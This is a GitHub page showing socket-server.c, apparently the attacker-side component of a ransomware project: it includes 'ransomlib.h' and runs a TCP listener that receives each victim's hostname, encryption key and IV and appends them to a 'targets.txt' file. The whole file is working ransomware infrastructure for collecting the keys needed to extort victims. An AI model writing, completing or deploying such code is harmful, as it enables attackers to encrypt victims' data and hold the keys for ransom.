-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsocket-server.c
More file actions
47 lines (34 loc) · 1.09 KB
/
socket-server.c
File metadata and controls
47 lines (34 loc) · 1.09 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include "ransomlib.h"
#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <unistd.h>
int write_to_file(char * hostname, char * key, char * iv)
{
printf("New entry from %s\n", hostname);
FILE * file = fopen("targets.txt", "a");
fprintf(file, "\"%s\" - %s - %s\n", hostname, key, iv);
fclose(file);
}
int main(void)
{
struct sockaddr_in address;
address.sin_family = AF_INET;
address.sin_addr.s_addr = INADDR_ANY;
address.sin_port = htons(PORT);
int address_len = sizeof(address);
int server = socket(AF_INET, SOCK_STREAM, 0);
bind(server, (struct sockaddr *)&address, address_len);
listen(server, 3);
while (1)
{
int new_socket = accept(server, (struct sockaddr*)&address, (socklen_t*)&address_len);
char hostnameBuffer[BUFSIZE];
char keyBuffer[BUFSIZE];
char ivBuffer[BUFSIZE];
read(new_socket, hostnameBuffer, BUFSIZE);
read(new_socket, keyBuffer, BUFSIZE);
read(new_socket, ivBuffer, BUFSIZE);
write_to_file(hostnameBuffer, keyBuffer, ivBuffer);
}
}